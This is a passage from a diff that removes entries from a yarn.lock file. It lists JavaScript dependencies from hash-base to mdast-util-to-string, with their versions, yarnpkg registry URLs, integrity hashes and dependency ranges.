sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== - -hash-base@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/hash-base/-/hash-base-3.1.0.tgz#55c381d9e06e1d2997a883b4a3fddfe7f0d3af33" - integrity sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA== - dependencies: - inherits "^2.0.4" - readable-stream "^3.6.0" - safe-buffer "^5.2.0" - -hash.js@^1.0.0, hash.js@^1.0.3: - version "1.1.7" - resolved "https://registry.yarnpkg.com/hash.js/-/hash.js-1.1.7.tgz#0babca538e8d4ee4a0f8988d68866537a003cf42" - integrity sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA== - dependencies: - inherits "^2.0.3" - minimalistic-assert "^1.0.1" - -hast-to-hyperscript@^9.0.0: - version "9.0.1" - resolved "https://registry.yarnpkg.com/hast-to-hyperscript/-/hast-to-hyperscript-9.0.1.tgz#9b67fd188e4c81e8ad66f803855334173920218d" - integrity sha512-zQgLKqF+O2F72S1aa4y2ivxzSlko3MAvxkwG8ehGmNiqd98BIN3JM1rAJPmplEyLmGLO2QZYJtIneOSZ2YbJuA== - dependencies: - "@types/unist" "^2.0.3" - comma-separated-tokens "^1.0.0" - property-information "^5.3.0" - space-separated-tokens "^1.0.0" - style-to-object "^0.3.0" - unist-util-is "^4.0.0" - web-namespaces "^1.0.0" - -hast-util-from-parse5@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/hast-util-from-parse5/-/hast-util-from-parse5-6.0.1.tgz#554e34abdeea25ac76f5bd950a1f0180e0b3bc2a" - integrity sha512-jeJUWiN5pSxW12Rh01smtVkZgZr33wBokLzKLwinYOUfSzm1Nl/c3GUGebDyOKjdsRgMvoVbV0VpAcpjF4NrJA== - dependencies: - "@types/parse5" "^5.0.0" - hastscript "^6.0.0" - property-information "^5.0.0" - vfile "^4.0.0" - vfile-location "^3.2.0" - web-namespaces "^1.0.0" - -hast-util-parse-selector@^2.0.0: - version "2.2.5" - resolved "https://registry.yarnpkg.com/hast-util-parse-selector/-/hast-util-parse-selector-2.2.5.tgz#d57c23f4da16ae3c63b3b6ca4616683313499c3a" - integrity sha512-7j6mrk/qqkSehsM92wQjdIgWM2/BW61u/53G6xmC8i1OmEdKLHbk419QKQUjz6LglWsfqoiHmyMRkP1BGjecNQ== - -hast-util-raw@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/hast-util-raw/-/hast-util-raw-6.1.0.tgz#e16a3c2642f65cc7c480c165400a40d604ab75d0" - integrity sha512-5FoZLDHBpka20OlZZ4I/+RBw5piVQ8iI1doEvffQhx5CbCyTtP8UCq8Tw6NmTAMtXgsQxmhW7Ly8OdFre5/YMQ== - dependencies: - "@types/hast" "^2.0.0" - hast-util-from-parse5 "^6.0.0" - hast-util-to-parse5 "^6.0.0" - html-void-elements "^1.0.0" - parse5 "^6.0.0" - unist-util-position "^3.0.0" - unist-util-visit "^2.0.0" - vfile "^4.0.0" - web-namespaces "^1.0.0" - xtend "^4.0.0" - zwitch "^1.0.0" - -hast-util-to-parse5@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/hast-util-to-parse5/-/hast-util-to-parse5-6.0.0.tgz#1ec44650b631d72952066cea9b1445df699f8479" - integrity sha512-Lu5m6Lgm/fWuz8eWnrKezHtVY83JeRGaNQ2kn9aJgqaxvVkFCZQBEhgodZUDUvoodgyROHDb3r5IxAEdl6suJQ== - dependencies: - hast-to-hyperscript "^9.0.0" - property-information "^5.0.0" - web-namespaces "^1.0.0" - xtend "^4.0.0" - zwitch "^1.0.0" - -hastscript@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/hastscript/-/hastscript-6.0.0.tgz#e8768d7eac56c3fdeac8a92830d58e811e5bf640" - integrity sha512-nDM6bvd7lIqDUiYEiu5Sl/+6ReP0BMk/2f4U/Rooccxkj0P5nm+acM5PrGJ/t5I8qPGiqZSE6hVAwZEdZIvP4w== - dependencies: - "@types/hast" "^2.0.0" - comma-separated-tokens "^1.0.0" - hast-util-parse-selector "^2.0.0" - property-information "^5.0.0" - space-separated-tokens "^1.0.0" - -he@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/he/-/he-1.2.0.tgz#84ae65fa7eafb165fddb61566ae14baf05664f0f" - integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw== - -highlight.js@^10.4.1, highlight.js@~10.7.0: - version "10.7.2" - resolved "https://registry.yarnpkg.com/highlight.js/-/highlight.js-10.7.2.tgz#89319b861edc66c48854ed1e6da21ea89f847360" - integrity sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg== - -hmac-drbg@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz#d2745701025a6c775a6c545793ed502fc0c649a1" - integrity sha1-0nRXAQJabHdabFRXk+1QL8DGSaE= - dependencies: - hash.js "^1.0.3" - minimalistic-assert "^1.0.0" - minimalistic-crypto-utils "^1.0.1" - -hoist-non-react-statics@^3.3.2: - version "3.3.2" - resolved "https://registry.yarnpkg.com/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz#ece0acaf71d62c2969c2ec59feff42a4b1a85b45" - integrity sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw== - dependencies: - react-is "^16.7.0" - -html-void-elements@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/html-void-elements/-/html-void-elements-1.0.5.tgz#ce9159494e86d95e45795b166c2021c2cfca4483" - integrity sha512-uE/TxKuyNIcx44cIWnjr/rfIATDH7ZaOMmstu0CwhFG1Dunhlp4OC6/NMbhiwoq5BpW0ubi303qnEk/PZj614w== - -http-errors@1.7.3: - version "1.7.3" - resolved "https://registry.yarnpkg.com/http-errors/-/http-errors-1.7.3.tgz#6c619e4f9c60308c38519498c14fbb10aacebb06" - integrity sha512-ZTTX0MWrsQ2ZAhA1cejAwDLycFsd7I7nVtnkT3Ol0aqodaKW+0CTZDQ1uBv5whptCnc8e8HeRRJxRs0kmm/Qfw== - dependencies: - depd "~1.1.2" - inherits "2.0.4" - setprototypeof "1.1.1" - statuses ">= 1.5.0 < 2" - toidentifier "1.0.0" - -https-browserify@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73" - integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM= - -hyphenate-style-name@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/hyphenate-style-name/-/hyphenate-style-name-1.0.4.tgz#691879af8e220aea5750e8827db4ef62a54e361d" - integrity sha512-ygGZLjmXfPHj+ZWh6LwbC37l43MhfztxetbFCoYTM2VjkIUpeHgSNn7QIyVFj7YQ1Wl9Cbw5sholVJPzWvC2MQ== - -iconv-lite@0.4.24: - version "0.4.24" - resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b" - integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA== - dependencies: - safer-buffer ">= 2.1.2 < 3" - -ieee754@^1.1.4: - version "1.2.1" - resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352" - integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA== - -indefinite-observable@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/indefinite-observable/-/indefinite-observable-2.0.1.tgz#574af29bfbc17eb5947793797bddc94c9d859400" - integrity sha512-G8vgmork+6H9S8lUAg1gtXEj2JxIQTo0g2PbFiYOdjkziSI0F7UYBiVwhZRuixhBCNGczAls34+5HJPyZysvxQ== - dependencies: - symbol-observable "1.2.0" - -inherits@2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.1.tgz#b17d08d326b4423e568eff719f91b0b1cbdf69f1" - integrity sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE= - -inherits@2.0.3: - version "2.0.3" - resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de" - integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4= - -inherits@2.0.4, inherits@^2.0.1, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.1, inherits@~2.0.3, inherits@~2.0.4: - version "2.0.4" - resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" - integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== - -inline-style-parser@0.1.1: - version "0.1.1" - resolved "https://registry.yarnpkg.com/inline-style-parser/-/inline-style-parser-0.1.1.tgz#ec8a3b429274e9c0a1f1c4ffa9453a7fef72cea1" - integrity sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q== - -is-alphabetical@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-alphabetical/-/is-alphabetical-1.0.4.tgz#9e7d6b94916be22153745d184c298cbf986a686d" - integrity sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg== - -is-alphanumerical@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz#7eb9a2431f855f6b1ef1a78e326df515696c4dbf" - integrity sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A== - dependencies: - is-alphabetical "^1.0.0" - is-decimal "^1.0.0" - -is-binary-path@~2.1.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-2.1.0.tgz#ea1f7f3b80f064236e83470f86c09c254fb45b09" - integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw== - dependencies: - binary-extensions "^2.0.0" - -is-buffer@^2.0.0: - version "2.0.5" - resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-2.0.5.tgz#ebc252e400d22ff8d77fa09888821a24a658c191" - integrity sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ== - -is-decimal@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-decimal/-/is-decimal-1.0.4.tgz#65a3a5958a1c5b63a706e1b333d7cd9f630d3fa5" - integrity sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw== - -is-extglob@^2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2" - integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI= - -is-glob@^4.0.1, is-glob@~4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.1.tgz#7567dbe9f2f5e2467bc77ab83c4a29482407a5dc" - integrity sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg== - dependencies: - is-extglob "^2.1.1" - -is-hexadecimal@^1.0.0: - version "1.0.4" - resolved "https://registry.yarnpkg.com/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz#cc35c97588da4bd49a8eedd6bc4082d44dcb23a7" - integrity sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw== - -is-in-browser@^1.0.2, is-in-browser@^1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/is-in-browser/-/is-in-browser-1.1.3.tgz#56ff4db683a078c6082eb95dad7dc62e1d04f835" - integrity sha1-Vv9NtoOgeMYILrldrX3GLh0E+DU= - -is-number@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b" - integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== - -is-plain-obj@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz#45e42e37fccf1f40da8e5f76ee21515840c09287" - integrity sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA== - -isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11" - integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE= - -isobject@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89" - integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk= - dependencies: - isarray "1.0.0" - -jest-worker@24.9.0: - version "24.9.0" - resolved "https://registry.yarnpkg.com/jest-worker/-/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5" - integrity sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw== - dependencies: - merge-stream "^2.0.0" - supports-color "^6.1.0" - -"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499" - integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ== - -json5@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe" - integrity sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow== - dependencies: - minimist "^1.2.0" - -jss-plugin-camel-case@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-camel-case/-/jss-plugin-camel-case-10.6.0.tgz#93d2cd704bf0c4af70cc40fb52d74b8a2554b170" - integrity sha512-JdLpA3aI/npwj3nDMKk308pvnhoSzkW3PXlbgHAzfx0yHWnPPVUjPhXFtLJzgKZge8lsfkUxvYSQ3X2OYIFU6A== - dependencies: - "@babel/runtime" "^7.3.1" - hyphenate-style-name "^1.0.3" - jss "10.6.0" - -jss-plugin-default-unit@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-default-unit/-/jss-plugin-default-unit-10.6.0.tgz#af47972486819b375f0f3a9e0213403a84b5ef3b" - integrity sha512-7y4cAScMHAxvslBK2JRK37ES9UT0YfTIXWgzUWD5euvR+JR3q+o8sQKzBw7GmkQRfZijrRJKNTiSt1PBsLI9/w== - dependencies: - "@babel/runtime" "^7.3.1" - jss "10.6.0" - -jss-plugin-global@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-global/-/jss-plugin-global-10.6.0.tgz#3e8011f760f399cbadcca7f10a485b729c50e3ed" - integrity sha512-I3w7ji/UXPi3VuWrTCbHG9rVCgB4yoBQLehGDTmsnDfXQb3r1l3WIdcO8JFp9m0YMmyy2CU7UOV6oPI7/Tmu+w== - dependencies: - "@babel/runtime" "^7.3.1" - jss "10.6.0" - -jss-plugin-nested@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-nested/-/jss-plugin-nested-10.6.0.tgz#5f83c5c337d3b38004834e8426957715a0251641" - integrity sha512-fOFQWgd98H89E6aJSNkEh2fAXquC9aZcAVjSw4q4RoQ9gU++emg18encR4AT4OOIFl4lQwt5nEyBBRn9V1Rk8g== - dependencies: - "@babel/runtime" "^7.3.1" - jss "10.6.0" - tiny-warning "^1.0.2" - -jss-plugin-props-sort@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-props-sort/-/jss-plugin-props-sort-10.6.0.tgz#297879f35f9fe21196448579fee37bcde28ce6bc" - integrity sha512-oMCe7hgho2FllNc60d9VAfdtMrZPo9n1Iu6RNa+3p9n0Bkvnv/XX5San8fTPujrTBScPqv9mOE0nWVvIaohNuw== - dependencies: - "@babel/runtime" "^7.3.1" - jss "10.6.0" - -jss-plugin-rule-value-function@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.6.0.tgz#3c1a557236a139d0151e70a82c810ccce1c1c5ea" - integrity sha512-TKFqhRTDHN1QrPTMYRlIQUOC2FFQb271+AbnetURKlGvRl/eWLswcgHQajwuxI464uZk91sPiTtdGi7r7XaWfA== - dependencies: - "@babel/runtime" "^7.3.1" - jss "10.6.0" - tiny-warning "^1.0.2" - -jss-plugin-vendor-prefixer@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.6.0.tgz#e1fcd499352846890c38085b11dbd7aa1c4f2c78" - integrity sha512-doJ7MouBXT1lypLLctCwb4nJ6lDYqrTfVS3LtXgox42Xz0gXusXIIDboeh6UwnSmox90QpVnub7au8ybrb0krQ== - dependencies: - "@babel/runtime" "^7.3.1" - css-vendor "^2.0.8" - jss "10.6.0" - -jss@10.6.0, jss@^10.5.1: - version "10.6.0" - resolved "https://registry.yarnpkg.com/jss/-/jss-10.6.0.tgz#d92ff9d0f214f65ca1718591b68e107be4774149" - integrity sha512-n7SHdCozmxnzYGXBHe0NsO0eUf9TvsHVq2MXvi4JmTn3x5raynodDVE/9VQmBdWFyyj9HpHZ2B4xNZ7MMy7lkw== - dependencies: - "@babel/runtime" "^7.3.1" - csstype "^3.0.2" - indefinite-observable "^2.0.1" - is-in-browser "^1.1.3" - tiny-warning "^1.0.2" - -line-column@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/line-column/-/line-column-1.0.2.tgz#d25af2936b6f4849172b312e4792d1d987bc34a2" - integrity sha1-0lryk2tvSEkXKzEuR5LR2Ye8NKI= - dependencies: - isarray "^1.0.0" - isobject "^2.0.0" - -loader-utils@1.2.3: - version "1.2.3" - resolved "https://registry.yarnpkg.com/loader-utils/-/loader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7" - integrity sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA== - dependencies: - big.js "^5.2.2" - emojis-list "^2.0.0" - json5 "^1.0.1" - -locate-path@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0" - integrity sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g== - dependencies: - p-locate "^4.1.0" - -lodash.sortby@^4.7.0: - version "4.7.0" - resolved "https://registry.yarnpkg.com/lodash.sortby/-/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438" - integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg= - -lodash@^4.17.13: - version "4.17.21" - resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c" - integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg== - -longest-streak@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/longest-streak/-/longest-streak-2.0.4.tgz#b8599957da5b5dab64dee3fe316fa774597d90e4" - integrity sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg== - -loose-envify@^1.1.0, loose-envify@^1.4.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf" - integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q== - dependencies: - js-tokens "^3.0.0 || ^4.0.0" - -lowlight@^1.17.0: - version "1.20.0" - resolved "https://registry.yarnpkg.com/lowlight/-/lowlight-1.20.0.tgz#ddb197d33462ad0d93bf19d17b6c301aa3941888" - integrity sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw== - dependencies: - fault "^1.0.0" - highlight.js "~10.7.0" - -make-dir@^3.0.2: - version "3.1.0" - resolved "https://registry.yarnpkg.com/make-dir/-/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f" - integrity sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw== - dependencies: - semver "^6.0.0" - -markdown-table@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/markdown-table/-/markdown-table-2.0.0.tgz#194a90ced26d31fe753d8b9434430214c011865b" - integrity sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A== - dependencies: - repeat-string "^1.0.0" - -md5.js@^1.3.4: - version "1.3.5" - resolved "https://registry.yarnpkg.com/md5.js/-/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f" - integrity sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg== - dependencies: - hash-base "^3.0.0" - inherits "^2.0.1" - safe-buffer "^5.1.2" - -mdast-util-definitions@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz#c5c1a84db799173b4dcf7643cda999e440c24db2" - integrity sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ== - dependencies: - unist-util-visit "^2.0.0" - -mdast-util-find-and-replace@^1.1.0: - version "1.1.1" - resolved "https://registry.yarnpkg.com/mdast-util-find-and-replace/-/mdast-util-find-and-replace-1.1.1.tgz#b7db1e873f96f66588c321f1363069abf607d1b5" - integrity sha512-9cKl33Y21lyckGzpSmEQnIDjEfeeWelN5s1kUW1LwdB0Fkuq2u+4GdqcGEygYxJE8GVqCl0741bYXHgamfWAZA== - dependencies: - escape-string-regexp "^4.0.0" - unist-util-is "^4.0.0" - unist-util-visit-parents "^3.0.0" - -mdast-util-from-markdown@^0.8.0: - version "0.8.5" - resolved "https://registry.yarnpkg.com/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz#d1ef2ca42bc377ecb0463a987910dae89bd9a28c" - integrity sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ== - dependencies: - "@types/mdast" "^3.0.0" - mdast-util-to-string "^2.0.0" - micromark "~2.11.0" - parse-entities "^2.0.0" - unist-util-stringify-position "^2.0.0" - -mdast-util-gfm-autolink-literal@^0.1.0: - version "0.1.3" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-0.1.3.tgz#9c4ff399c5ddd2ece40bd3b13e5447d84e385fb7" - integrity sha512-GjmLjWrXg1wqMIO9+ZsRik/s7PLwTaeCHVB7vRxUwLntZc8mzmTsLVr6HW1yLokcnhfURsn5zmSVdi3/xWWu1A== - dependencies: - ccount "^1.0.0" - mdast-util-find-and-replace "^1.1.0" - micromark "^2.11.3" - -mdast-util-gfm-strikethrough@^0.2.0: - version "0.2.3" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-0.2.3.tgz#45eea337b7fff0755a291844fbea79996c322890" - integrity sha512-5OQLXpt6qdbttcDG/UxYY7Yjj3e8P7X16LzvpX8pIQPYJ/C2Z1qFGMmcw+1PZMUM3Z8wt8NRfYTvCni93mgsgA== - dependencies: - mdast-util-to-markdown "^0.6.0" - -mdast-util-gfm-table@^0.1.0: - version "0.1.6" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-table/-/mdast-util-gfm-table-0.1.6.tgz#af05aeadc8e5ee004eeddfb324b2ad8c029b6ecf" - integrity sha512-j4yDxQ66AJSBwGkbpFEp9uG/LS1tZV3P33fN1gkyRB2LoRL+RR3f76m0HPHaby6F4Z5xr9Fv1URmATlRRUIpRQ== - dependencies: - markdown-table "^2.0.0" - mdast-util-to-markdown "~0.6.0" - -mdast-util-gfm-task-list-item@^0.1.0: - version "0.1.6" - resolved "https://registry.yarnpkg.com/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-0.1.6.tgz#70c885e6b9f543ddd7e6b41f9703ee55b084af10" - integrity sha512-/d51FFIfPsSmCIRNp7E6pozM9z1GYPIkSy1urQ8s/o4TC22BZ7DqfHFWiqBD23bc7J3vV1Fc9O4QIHBlfuit8A== - dependencies: - mdast-util-to-markdown "~0.6.0" - -mdast-util-gfm@^0.1.0: - version "0.1.2" - resolved "https://registry.yarnpkg.com/mdast-util-gfm/-/mdast-util-gfm-0.1.2.tgz#8ecddafe57d266540f6881f5c57ff19725bd351c" - integrity sha512-NNkhDx/qYcuOWB7xHUGWZYVXvjPFFd6afg6/e2g+SV4r9q5XUcCbV4Wfa3DLYIiD+xAEZc6K4MGaE/m0KDcPwQ== - dependencies: - mdast-util-gfm-autolink-literal "^0.1.0" - mdast-util-gfm-strikethrough "^0.2.0" - mdast-util-gfm-table "^0.1.0" - mdast-util-gfm-task-list-item "^0.1.0" - mdast-util-to-markdown "^0.6.1" - -mdast-util-to-hast@^10.2.0: - version "10.2.0" - resolved "https://registry.yarnpkg.com/mdast-util-to-hast/-/mdast-util-to-hast-10.2.0.tgz#61875526a017d8857b71abc9333942700b2d3604" - integrity sha512-JoPBfJ3gBnHZ18icCwHR50orC9kNH81tiR1gs01D8Q5YpV6adHNO9nKNuFBCJQ941/32PT1a63UF/DitmS3amQ== - dependencies: - "@types/mdast" "^3.0.0" - "@types/unist" "^2.0.0" - mdast-util-definitions "^4.0.0" - mdurl "^1.0.0" - unist-builder "^2.0.0" - unist-util-generated "^1.0.0" - unist-util-position "^3.0.0" - unist-util-visit "^2.0.0" - -mdast-util-to-markdown@^0.6.0, mdast-util-to-markdown@^0.6.1, mdast-util-to-markdown@~0.6.0: - version "0.6.5" - resolved "https://registry.yarnpkg.com/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz#b33f67ca820d69e6cc527a93d4039249b504bebe" - integrity sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ== - dependencies: - "@types/unist" "^2.0.0" - longest-streak "^2.0.0" - mdast-util-to-string "^2.0.0" - parse-entities "^2.0.0" - repeat-string "^1.0.0" - zwitch "^1.0.0" - -mdast-util-to-string@^2.0.0: - version "2.0.0" - resolved 